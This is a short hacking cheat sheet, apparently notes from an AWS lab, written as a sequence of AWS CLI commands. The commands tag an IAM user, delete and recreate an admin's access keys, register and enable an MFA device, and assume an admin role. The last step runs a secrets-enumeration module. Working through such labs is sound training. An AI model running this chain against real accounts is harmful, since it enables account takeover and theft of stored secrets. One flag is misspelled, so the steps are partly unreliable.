Hack. Eat. Sleep. Repeat!!!
aws iam tag-user --user-name <username> --tags '{"Key": "developer", "Value": "true"}' --profile key_rotation | jq
listing the access key id like this-:aws iam list-access-keys --user-name <username> --profile key_rotation | jq
aws iam delete-access-key --user-name admin_ --access-key-id AKIA4TCVBDXKSZGBT75K --profile key_rotation | jq
aws iam create-access-key --user-name <admin> --profile key_rotation | jq
MFA-virtual-device for user admin_* to assume role secretsmanager.aws iam create-virtual-mfa-device --virtual-mfa-device-name mfaDevice --outfile /home/sensei/cloud/iam_key_rotation/iam.png --bootstrap-method QRCodePNG | jq
aws iam list-virtual-mfa-devices --profile admin_key_rotation | jq
Authy or Google Authenticator.Then, the first code is the first code you see and the second code is the code generated after the first.aws iam enable-mfa-device \
--user-name TargetIAMUserName \
--serial-number arn:aws:iam::123456789012:mfa/MyUserMFADevice \
--authentication-code-1 <first one> \
--authentication-code-2 <second code>
aws sts assume-role \
--role-arm "arn:aws:iam::123456789012:role/YourAdminRoleName" \
--role-session-name "MFA-Admin-Session" \
--serial-number "arn:aws:iam::123456789012:mfa/your-username" \
--token-code <from authenticator>
#configure the temp_keys with
set_keys
#run module
run enum__secrets --region us-east-1